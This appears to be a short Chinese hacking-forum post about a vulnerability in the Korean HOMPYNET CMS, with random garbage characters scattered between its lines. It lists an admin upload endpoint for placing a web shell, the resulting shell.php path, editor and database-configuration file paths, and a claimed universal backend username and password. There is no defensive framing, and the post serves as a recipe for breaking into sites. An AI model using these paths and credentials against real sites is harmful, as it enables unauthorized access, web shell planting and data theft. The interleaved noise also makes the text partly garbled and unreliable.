韩国HOMPYNET CMS漏洞

admin

上传漏洞  :
6 v$ ]) D' C* P7 }* L- k, c
( o- E" O& A" o" |! v4 Khttp://www.xxx.com/admin/image_a ... p;iname=&iform=
$ [/ E; ^  ?" H, Y+ F/ `2 v) U, ], K# @
http://www.xxx.com/admin/image_a ... p;iname=&iform=

* r1 K4 |) I" ]上传后路径：
; l4 v" y: G! m3 C6 t' z/ D* q
+ A7 M' i; A" c. A5 Whttp://www.xxx.com/bis_web_page/images/shell.php.en
6 t& H4 x" G$ e; Z, |' T+ m! F$ _
# _. G& y2 [% h% F! Q% K编辑器：

http://www.xxx.com/admin/editor/SWE.php
( ^8 F( H+ W0 F( v  r% s
% |3 I% T3 M# @/ N: Ehttp://www.xxx.com/program/editor/SWE.php
% G' L, s( q9 R0 ^# C0 Z
  c. f6 [. E% J* v! c2 W* }数据配置文件路径：

) |& Y1 K4 h- p7 K0 Whttp://www.xxx.com/m_config/DATA/g_setting.php
  `4 A2 `# c; a% a* j, Z) {
' [0 E+ R, s$ S6 j5 e  @- W此程序通用后台账号 ：gamsiw  php99
! M, ]. ]; ]$ G$ X
/ J. X: R/ V! y! w; S​
! Y) F* Z7 c. ]
2 ^, y& ~& N! _% g, |